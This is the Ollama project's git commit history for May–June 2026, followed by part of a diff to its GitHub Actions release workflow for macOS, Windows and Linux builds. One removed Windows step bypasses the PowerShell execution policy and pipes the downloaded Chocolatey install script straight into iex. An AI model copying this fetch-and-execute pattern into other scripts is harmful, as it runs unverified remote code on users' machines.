Bruce MacDonald 1d955ed990 integrations: hermes windows install (#16487) 2026-06-03 17:40:45 -07:00
Eva H d071237131 docs: add Cline CLI integration doc (#16341) 2026-06-03 20:30:01 -04:00
Daniel Hiltgen 229a1303fb llama-server: fix gemma4 patch wiring (#16477)
This will fix the "clip.cpp:4399: Unknown projector type" crash.
2026-06-03 14:41:03 -07:00
Parth Sareen ac3d0657a2 launch: migrate pi (#16213) 2026-06-03 14:35:32 -07:00
Daniel Hiltgen 01557ff313 llama-server: allow GPU offload for projectors (#16473)
Special case Metal iGPUs to enable GPU offload.
2026-06-03 13:58:40 -07:00
Patrick Devine e5a38739b4 mlx: "requires" in modelfile is being ignored for mlx based models (#16469)
This change fixes an issue in `ollama create --experimental` which
is currently ignoring the REQUIRES command in a Modelfile.
2026-06-03 13:10:57 -07:00
Jeffrey Morgan 5f56a289b3 server: classify mmproj GGUFs as projector layers (#16472) 2026-06-03 12:59:34 -07:00
Eva H ad8cda255d launch: clean legacy codex profile before launch (#16467) 2026-06-03 14:49:31 -04:00
Daniel Hiltgen 3e1b4fe39d Kill llama-server during Windows cleanup (#16458)
Windows installer and app cleanup could leave llama-server.exe running when ollama.exe was killed directly, so cleanup now includes llama-server.exe and taskkill /T.
2026-06-03 10:25:12 -07:00
Daniel Hiltgen 52196f1a97 llama.cpp version update (#16463)
Bump llama.cpp to b9493 and refresh the Laguna compat patch for upstream enum/tokenizer movement and the renamed SWA layer bitmap field.
2026-06-03 10:20:30 -07:00
Patrick Devine 50bbda5660 models: add support for gemma4-12b (#16457) 2026-06-03 07:44:57 -07:00
Daniel Hiltgen 4b5bdd3b25 fix laguna patch build breakage (#16445)
Follow up to #16396

Fix kernel template instantiation so the symbols are exported in the library.
2026-06-02 16:35:19 -07:00
Daniel Hiltgen e828061b6e llm: ignore llama-server SSE ping comments (#16443)
llama.cpp b9478 added a default 30s SSE ping that emits colon-only comment frames (":\n\n") while streamed requests are idle; Ollama treated non-data SSE lines as JSON, so skip SSE comments in completion and chat streams.
2026-06-02 15:40:14 -07:00
Bruce MacDonald 7a2073d17b docs: configure hermes desktop app (#16440) 2026-06-02 14:32:10 -07:00
Daniel HiltgenandJeffrey Morgan c952708169 llama: add laguna (poolside) arch via a llama.cpp patch under llama/c… (#16396)
* llama: add laguna (poolside) arch via a llama.cpp patch under llama/compat/models

The pinned llama.cpp does not include poolside Laguna yet. Add it as an Ollama-owned source file plus a small registration patch under llama/compat/models/. apply-patch.cmake now applies every *.patch under llama/compat/ (the hooks patch plus each arch patch), so adding an architecture only adds files under llama/compat/models/ and needs no new cmake.

* cleanup patch to keep windows happy

---------

Co-authored-by: Jeffrey Morgan <jmorganca@gmail.com>
2026-06-02 13:17:08 -07:00
Parth Sareen f57d111754 launch: isolate Codex launch configuration (#16437) 2026-06-02 12:10:46 -07:00
Daniel Hiltgen c34a79a373 llama.cpp version update (#16426) 2026-06-02 11:46:56 -07:00
Daniel Hiltgen b051c9cf83 More harden app markdown URL handling (#16436) 2026-06-02 11:46:14 -07:00
Daniel Hiltgen b7b7fa0454 llm: detect llama-server load stalls from output (#16427)
llama-server model loads could time out after the fixed load duration even while tensor-loading progress dots were still being emitted, so track raw runner output activity and use OLLAMA_LOAD_TIMEOUT as a stall deadline.

Fixes #16416
Fixes #16412
2026-06-02 11:30:48 -07:00
Daniel Hiltgen 4c076813be discover: allow Radeon 8060S iGPU by default (#16429)
Default integrated GPU filtering dropped the supported ROCm gfx1151 Radeon 8060S unless OLLAMA_IGPU_ENABLE was set, so add a ROCm gfx-target allowlist with gfx1151 as the first admitted target.  This iGPU is a known-good iGPU.

Fixes #16423
2026-06-02 11:15:01 -07:00
Daniel Hiltgen 6780f0416a Harden app markdown URL handling (#16380) 2026-06-02 11:14:36 -07:00
Daniel Hiltgen 35fa277fa9 llm: include cached prompt tokens in llama-server counts (#16428)
llama-server reports newly processed prompt tokens separately from cached prompt tokens, so add cache_n to prompt_n to preserve Ollama's pre-0.30 full-context prompt_eval_count semantics.

Fixes #16414
2026-06-02 10:51:01 -07:00
Daniel Hiltgen 05747b02ab launch: fix opencode local model limits (#16425)
Local model metadata from /api/tags can include a context length without a max output limit, so omit OpenCode limit stanzas unless an output limit is known.

This preserves the pre-0.30 OpenCode behavior: local models did not receive a limit stanza because /api/tags did not expose context length, while cloud models still emit complete context/output limits.

Fixes #16424
2026-06-02 10:50:35 -07:00
Eva H 4e807fdedd cmd/launch: add Qwen code integration (#15900) 2026-06-01 19:51:32 -04:00
Daniel Hiltgen 7d3a6c3ae5 log template details to aid troubleshooting (#16403)
This cleans up the capabilities logic so we can log more information about the various options we consider as well as the final template version we use.
2026-06-01 16:25:44 -07:00
Eva H 06ff728246 feat(launch): show and auto-install Cline CLI (#16402) 2026-06-01 19:04:08 -04:00
Parth Sareen 2c71d8d7ca launch: migrate Codex config (#16397)
* launch: migrate Codex config
2026-06-01 13:46:41 -07:00
Eva H 00381496a3 cmd/launch: fix configure cline ollama provider via providers.json (#16352) 2026-06-01 16:41:40 -04:00
ZiTian ZhaoandParthSareen 5e9636fa05 launch: avoid legacy Codex App profiles (#16364)
* launch: avoid legacy Codex App profiles
---------

Co-authored-by: ParthSareen <parth.sareen@ollama.com>
2026-06-01 11:49:56 -07:00
Daniel Hiltgen 630882621b llama-server followups (#16353)
* llama-server followups

Misc fixes for #16031
- Add back dropped ROCm build flag for multi-GPU support on windows
- Fix amdhip64_*.dll version detection for "latest" selection
- Fix embeddings API for consistent normalize behavior with prior versions

* ci: set up for automated llama.cpp update testing

* reduce batch for fa-disabled, and constrained vram

* mlx: fix v3 load bug on m5

Imagegen was incorrectly loading v3 first.  This DRYs out the loading code so imagegen gets the same new v4/v3 selection logic.

* fix reload bug on embedding models

* bump version

* steer user how to enable iGPU when disabled
2026-06-01 10:44:21 -07:00
Patrick Devine 0e93ccc2cd convert: fixes for qwen3next model conversion (#16354)
This change addresses some problems with GGUF conversion including:
 * correctly naming the MoE tensors
 * correctly quantizing the nextn.eh_proj.weight MTP tensor
2026-06-01 09:43:11 -07:00
Jeffrey Morgan e7766a4a47 model: improvements to laguna-xs.2 parser/renderer (#16362) 2026-05-31 14:11:07 -07:00
Jeffrey Morgan be7de10c41 llama: handle Gemma 4 and LFM2 BOS override in llama server (#16367) 2026-05-31 14:05:39 -07:00
Daniel Hiltgen 11be8f6ac8 mlx: fix dev mode search path (#16355)
The superbuild from the llama-server work changed paths but missed updating the MLX library resolution code to match.
2026-05-29 16:33:40 -07:00
Daniel Hiltgenandjmorganca 9db4bdbad6 runner: Remove CGO engines, use llama-server exclusively for GGML models (#16031)
* broad lint fixes to sidestep CI scope glitch

* runner: Remove CGO engines, use llama-server exclusively for GGML models

Remove the vendored GGML and llama.cpp backend, CGO runner, Go model
implementations, and sample.  llama-server (built from upstream llama.cpp via
FetchContent) is now the sole inference engine for GGUF-based models.
(Safetensor based models continue to run on the new MLX engine.)  This allows
us to more rapidly pick up new capabilities and fixes from llama.cpp as they
come out.

On windows this now requires recent AMD driver versions to support ROCm v7 as
llama.cpp currently does not support building against v6.

* llama/compat: load Ollama-format GGUFs in llama-server

Squashed from upstream/jmorganca/llama-compat on 2026-04-29.
Source tip: 0c33775d37.

Original source commits:
- 25223160d llama/compat: add in-memory shim so llama-server can load Ollama-format GGUFs
- 7449b539a llm,server: route Ollama-format gemma3 blobs through llama/compat
- 436f2e2b1 llama/compat: make patch-apply idempotent
- 8c2c9d4c8 llama/compat: extend gemma3 handler to cover 1B and 270M blobs
- 021389f7b llama/compat: shrink clip.cpp injection from 18 lines to 1
- 61b367ec2 llama/compat: shrink patch to pure call-site hooks (34 -> 20 lines)
- 36049361c llama/compat: simplify shim (gemma3-tested)
- 8fa664865 llama/compat: add qwen35moe text handler
- db0c74530 llama/compat: add qwen35moe vision (clip) support
- 2a388da77 llama/compat: split shared infra into a util TU
- 9a69a17dc llama/compat: document non-public API dependencies
- d0f38a915 llama/compat: add gpt-oss and lfm2 handlers
- 086071822 llama/compat: add mistral3 text handler (vision TODO)
- 63bde9ff7 llama/compat: add mistral3 vision (clip) support
- 3a57b89d5 llama/compat: apply LLaMA RoPE permute to mistral3 vision Q/K
- 99cb87439 llama/compat: add qwen35, gemma4, deepseek-ocr handlers
- 2c7850dba llama/compat: add nemotron_h_moe handler (latent FFN + MTP skip)
- 9e3b54225 llama/compat: add llama4 text + clip handlers
- 034fee349 llama/compat: add gemma4 clip handler (gemma4v projector)
- 9945c5a93 server: remove dhiltgen/* compat redirect table
- 5d4539101 llama/compat: rewrite gemma4 tokenizer model to BPE
- 7e0765327 llama/compat: add glm-ocr text handler + text-loader load-op hook
- f1bd1a25a llama/compat: add glm-ocr clip handler (glm4v projector)
- 4b5cf3420 llama/compat: collapse text-loader hook back to one new patch line
- eb4ecf4fc llama/compat: extend gemma4 clip handler to gemma4a (audio)
- a23a5e76f llama/compat: fix gemma4a per-block norm tensor mapping
- cd2dcaff4 llama/compat: add embeddinggemma handler
- 1ce8a6b26 llama/compat: add qwen3-vl + qwen2.5-vl handlers
- fd98ffa1e llama/compat: add gemma3n + glm4moelite handlers
- cc7bdf0bc llama/compat: handle null buft in maybe_load_tensor
- 0c33775d3 llama/compat: disable mmap when load_op transforms text-side tensors

* refine implementation

* ci: fix windows MLX build

* ci: fix windows llama-server build

* ci: fix windows rocm build

* ci: windows mlx tuning

Shorten long-tail on build, and get OllamaSetup.exe back under 2g limit

* ci: fix windows dependencies

* win: fix dependency gathering

* disable openmp

* win: arm64 cross-compile build

also DRY out CI steps

* scheduler improvements

* ci: improvements from #15982

* win: favor ninja for faster developer builds

* win: fix build

* win: fix arm64 cross-compile

* win: avoid spaces in compiler path

* misc discovery fixes, and bos handling

* lint fixes

* win: fix arm cross-compile build/CI bugs

* llama.cpp update

* win: handle multiple CRT dirs

* vulkan: add windows iGPU detection

* fix creation bugs for patched models, other refactoring work

* tune batch size for better performance

* ci and lint fixes

* fix repeat_last_n bug

* build: revamp build for better developer UX

* amd, sampler, qwen3next fixes

* version bump

* fix mlx build

* revamp GPU discovery

Scanning the output of llama-server is turning out to be too error prone across
llama.cpp updates, so this switches to a thin dynamic library load against the
bundled GGML libraries so more details can be gathered from the API.

* version bump

* missing file

* ci: fix cache miss on rocm build

* refine vulkan dep handling

* fix ps reporting bug on full GPU load

* improve cmake wiring for customized local builds

* version bump

* docker build arg cleanup

* improve windows exit error logs

* fix community gemma4 support and ci flakes

* fix mlx unit test

* tighten up ps logic to avoid double counting fit log lines

* version bump

* fix ps view for full gpu layer offload

* add MTP wiring for llama-server and create with GGUFs

* pick best template by capabilities

* version bump

* ci: harden apt repos

* remove unused cpu core discovery

* adjust batch default logic to reduce OOMs

* support larger tool calls

* fix audio support, template show

* qwen35 mtp patch support

* flesh out dtypes

* rocm deps

* version bump

* lint fix

* block broken gfx1150 on windows

* fix qwen3.5 moe mtp tensors in patch

* mmproj oom fallback and vulkan on by default

* qwen MTP compat fix

* version bump

* ci: fix WoA cross-compile

* ci: workaround ui tool in cross-compile

* version bump

* win: enable OpenMP for CPU builds

* build: improve developer UX

* ci: windows path workaround for CPU build

* win: fix WoA dependencies

* win: fix large offset reads for mmproj patched loads

* version bump

* fix vulkan dup detection

* add OLLAMA_IGPU_ENABLE and largely disable iGPUs by default

* opt-in MTP, win large offset, integraton fixes

* fix unit test scheduler interaction hang

* fix multi-gpu filtering

* version bump

* review comments

* fix thinking level

* fix linux rocm ordering and granite 3.3 template

* version bump

* ci fix - non-shallow MLX checkout

* bypass linux sysfs unit test on windows

---------

Co-authored-by: jmorganca <jmorganca@gmail.com>
2026-05-29 13:35:47 -07:00
Patrick Devine f63eea3d27 mlx: fix reported information in ollama show (#16289)
This change updates the show API for MLX models to:
  * display the correct quantization in mixed precision models
  * not display the global_scale scalar value
  * not duplicate the `tools` capability
2026-05-24 14:08:06 -07:00
Anto jones 632ff00798 server: remove duplicate template parsing (#16287) 2026-05-24 13:27:24 -07:00
Jesse Gross 275f122cda mlxrunner: keep gated-delta recurrent state in float32
Split the gated-delta Metal/CUDA kernels' dtype template into separate
input (InT) and state (StT) types so activations can stay in bf16/fp16
while the accumulated delta state stays in float32. Allocate the delta
state and qwen3_5's no-cache zero state in float32 to match.
2026-05-22 09:32:09 -07:00
Jesse Gross 32568531bd create: read draft architecture from its config.json
Previously the draft architecture was hardcoded to
Gemma4AssistantForCausalLM. Read it from the draft model's config so
any draft architecture can be packaged.
2026-05-22 09:32:09 -07:00
Jesse Gross 438fb991e4 mlxrunner: move YaRN RoPE helpers into x/models/nn
Move RopeParameters, BuildYarnRopeFreqs, and ScaleRotaryPart out of
laguna and into x/models/nn so other models can reuse them.
2026-05-22 09:32:09 -07:00
Jesse Gross 358af4af23 Revert "mlxrunner: add DFlash speculative decoding (#16134)"
This reverts commit 98e26b8c37.

The DFlash integration is too invasive to keep at this stage: it
threads DFlash-specific logic through the pipeline, base model
interfaces, and the cache layer. The recurrent cache also now
has qwen3.5 model-specific code. Revert it now and reintroduce
the self-contained, generally-useful pieces (YaRN RoPE DRY-out, draft
architecture autodetection, gated-delta fp32 state) as separate
follow-up commits.
2026-05-22 09:32:09 -07:00
Parth Sareen 91c8e5e1a8 launch: enriched model inventory (#16230) 2026-05-21 11:57:20 -07:00
Daniel Hiltgen 4b2d529966 Reduce startup model hydration (#16215)
* Reduce startup model hydration

Add a lightweight model list cache for tags and launch inventory, while keeping show cache population lazy. This avoids loading every local model at startup on large model stores.

* harden flaky scheduler unit test

* remove extra launch model metadata text

* review comments

* review comments
2026-05-19 15:53:08 -07:00
Bruce MacDonald e6b1d751f2 codex: omit patch tool type (#16231)
Including this value can cause schema compatibility issues. It was removed from codex in a new version.
2026-05-19 13:37:05 -07:00
Eva HandBruce MacDonald 56b319f457 launch: add codex model metadata catalog (#15795)
Co-authored-by: Bruce MacDonald <brucewmacdonald@gmail.com>
2026-05-18 15:26:43 -07:00
Daniel Hiltgen 42e6f56c2a ci: speed up release builds (#15982)
* ci: speed up release builds

This should help speed things up for release.  It also will help
speed up local developer builds a little.

* ci: dedup linux build steps and optimize

* review comments
2026-05-15 14:53:15 -07:00
Daniel Hiltgen da679adcde quiet down kv log spew (#16105) 2026-05-15 13:28:32 -07:00
Parth Sareen b9c0421f03 docs: add codex app (#16163) 2026-05-14 17:53:15 -07:00
Patrick Devine 98e26b8c37 mlxrunner: add DFlash speculative decoding (#16134)
This change adds dflash block diffusion speculative decoding to the MLX runner. Included in this change:

support for qwen3.6 moe/dense speculative decoding
draft model recurrent cache playback
RoPE/YaRN changes (DRY out the laguna/dflash MoE YaRN implementation)
support for greedy sampling / leviathan/chen sampling
2026-05-14 14:02:34 -07:00
Parth Sareen c28ddc0a7b launch: codex app restarts (#16155) 2026-05-14 12:08:13 -07:00
Parth Sareen 3ad2fa3fb5 launch: update codex app UI copy (#16157) 2026-05-14 12:08:08 -07:00
Parth Sareen 6b6f45ef0e docs: hide codex app till launch (#16153) 2026-05-14 10:56:52 -07:00
Patrick Devine 4860130f83 mlx: rework the MLX sampler (#16122)
* mlx: rework the MLX sampler

Replace the MLX sampler transform chain with an explicit distribution pipeline that applies:
  1. penalties
  2. top-k
  3. temperature/softmax
  4. top-p
  5. min-p
  6. normalize
  7. categorical

The common top_k path now keeps sparse [B,K] token ids/probabilities on GPU instead of carrying full-vocab
scores, and sampled MTP reuses those draft/target distributions for acceptance, bonus, and residual sampling.

This change also fixes the seed parameter so that temperature sampling and sampled MTP are reproducible.
2026-05-13 17:18:27 -07:00
Parth Sareen ac7295ccab launch: codex app integration (#16120) 2026-05-13 17:11:52 -07:00
Daniel Hiltgen 6398cd5b78 mlx: add memory trace logging (#16131)
This should help narrow down the root cause of #16030
2026-05-13 13:37:31 -07:00
Eva H 3af1a008e2 launch/opencode: add image modalities for vision models (#15922) 2026-05-12 15:51:46 -04:00
Eva H 6bdb73073b anthropic: Preserve Claude local image-path tool results in renderer-owned prompt formatting (#16047) 2026-05-12 00:02:17 -04:00
1449 changed files with 87813 additions and 458072 deletions

No files matched your search

+277 -106
View File
@@ -16,7 +16,7 @@ jobs:
outputs:
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
VERSION: ${{ steps.goflags.outputs.VERSION }}
vendorsha: ${{ steps.changes.outputs.vendorsha }}
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
steps:
- uses: actions/checkout@v4
- name: Set environment
@@ -24,7 +24,7 @@ jobs:
run: |
echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
darwin-build:
runs-on: macos-26-xlarge
@@ -39,11 +39,27 @@ jobs:
APPLE_ID: ${{ vars.APPLE_ID }}
MACOS_SIGNING_KEY: ${{ secrets.MACOS_SIGNING_KEY }}
MACOS_SIGNING_KEY_PASSWORD: ${{ secrets.MACOS_SIGNING_KEY_PASSWORD }}
DEVELOPER_DIR: /Applications/Xcode_26.4.1.app/Contents/Developer
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
steps:
- uses: actions/checkout@v4
- name: Select Xcode 26.4.1
shell: bash
run: |
set -euo pipefail
if [ ! -d "${DEVELOPER_DIR}" ]; then
echo "Missing ${DEVELOPER_DIR}"
ls -1 /Applications | grep '^Xcode' || true
exit 1
fi
sudo xcode-select -s "${DEVELOPER_DIR}"
sw_vers
xcodebuild -version
xcrun --sdk macosx --show-sdk-version
xcrun --find metal
- run: |
echo $MACOS_SIGNING_KEY | base64 --decode > certificate.p12
security create-keychain -p password build.keychain
@@ -57,7 +73,9 @@ jobs:
go-version-file: go.mod
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- run: |
./scripts/build_darwin.sh
- name: Log build results
@@ -73,15 +91,18 @@ jobs:
dist/*.dmg
windows-depends:
needs: setup-environment
strategy:
matrix:
os: [windows]
arch: [amd64]
preset: ['CPU']
build-steps: ['cpu cpuArm64']
include:
- os: windows
arch: amd64
preset: 'CUDA 12'
build-steps: cuda12
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
cuda-components:
- '"cudart"'
@@ -89,10 +110,10 @@ jobs:
- '"cublas"'
- '"cublas_dev"'
cuda-version: '12.8'
flags: ''
- os: windows
arch: amd64
preset: 'CUDA 13'
build-steps: cuda13
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cuda-components:
- '"cudart"'
@@ -103,23 +124,23 @@ jobs:
- '"nvvm"'
- '"nvptxcompiler"'
cuda-version: '13.0'
flags: ''
- os: windows
arch: amd64
preset: 'ROCm 6'
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
rocm-version: '6.2'
flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
runner_dir: 'rocm'
preset: 'ROCm 7'
build-steps: rocm7
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
rocm-version: '7.1'
- os: windows
arch: amd64
preset: Vulkan
build-steps: vulkan
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
flags: ''
runner_dir: 'vulkan'
- os: windows
arch: amd64
preset: 'MLX CUDA 13'
build-steps: mlxCuda13
build-parallel: '16'
cmake-cuda-flags: '-t 6'
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
cuda-components:
@@ -135,18 +156,34 @@ jobs:
- '"nvvm"'
- '"nvptxcompiler"'
cuda-version: '13.0'
flags: ''
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
environment: release
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- if: startsWith(matrix.preset, 'MLX ')
name: Increase pagefile to 200 GB
uses: al-cheb/configure-pagefile-action@v1.5
with:
minimum-size: 16GB
maximum-size: 200GB
disk-root: "D:"
- name: Install system dependencies
run: |
choco install -y --no-progress ccache ninja
if (Get-Command ccache -ErrorAction SilentlyContinue) {
ccache -o cache_dir=${{ github.workspace }}\.ccache
}
- if: matrix.preset == 'CPU'
name: Install Windows ARM64 cross compiler
run: |
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
id: cache-install
uses: actions/cache/restore@v4
@@ -195,12 +232,12 @@ jobs:
}
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
if (Test-Path $vulkanRuntime) {
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
}
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
- if: matrix.preset == 'CPU'
run: |
echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
- if: startsWith(matrix.preset, 'MLX ')
name: Install cuDNN for MLX
run: |
@@ -232,72 +269,63 @@ jobs:
with:
path: ${{ github.workspace }}\.ccache
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
- name: Build target "${{ matrix.preset }}"
- name: Build Windows dependencies
run: |
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
cmake --install build --component "${{ startsWith(matrix.preset, 'MLX ') && 'MLX' || startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
./scripts/build_windows.ps1 @steps
env:
CMAKE_GENERATOR: Ninja
OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- if: matrix.preset == 'CPU'
name: Verify Windows CPU payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- uses: actions/upload-artifact@v4
with:
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
path: dist\*
windows-build:
strategy:
matrix:
os: [windows]
arch: [amd64, arm64]
include:
- os: windows
arch: amd64
llvmarch: x86_64
- os: windows
arch: arm64
llvmarch: aarch64
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
runs-on: windows
environment: release
needs: [setup-environment]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- name: Install ARM64 system dependencies
if: matrix.arch == 'arm64'
run: |
$ErrorActionPreference = "Stop"
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
choco install -y --no-progress git gzip
echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
- name: Install clang and gcc-compat
run: |
$ErrorActionPreference = "Stop"
Set-ExecutionPolicy Bypass -Scope Process -Force
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- name: Verify gcc is actually clang
run: |
$ErrorActionPreference='Continue'
@@ -314,20 +342,30 @@ jobs:
with:
node-version: "20"
- run: |
./scripts/build_windows ollama app
./scripts/build_windows ollama ollamaArm64 app appArm64
- name: Verify Windows build payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-arm64/ollama.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- uses: actions/upload-artifact@v4
with:
name: build-${{ matrix.os }}-${{ matrix.arch }}
name: build-windows-amd64
path: |
dist\*
windows-app:
runs-on: windows
environment: release
needs: [windows-build, windows-depends]
needs: [setup-environment, windows-build, windows-depends]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
@@ -353,7 +391,9 @@ jobs:
go-version-file: go.mod
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- uses: actions/download-artifact@v4
with:
pattern: depends-windows*
@@ -367,6 +407,18 @@ jobs:
- name: Log dist contents after download
run: |
gci -path .\dist -recurse
- name: Verify Windows package inputs
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/ollama.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- run: |
./scripts/build_windows.ps1 deps sign installer zip
- name: Log contents after build
@@ -380,20 +432,33 @@ jobs:
dist/*.ps1
dist/OllamaSetup.exe
linux-build:
linux-depends:
strategy:
matrix:
include:
- os: linux
arch: amd64
target: archive
- os: linux
arch: amd64
target: rocm
- os: linux
arch: arm64
target: archive
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
- arch: amd64
target: llama-server-cpu
- arch: amd64
target: llama-server-cuda_v12
- arch: amd64
target: llama-server-cuda_v13
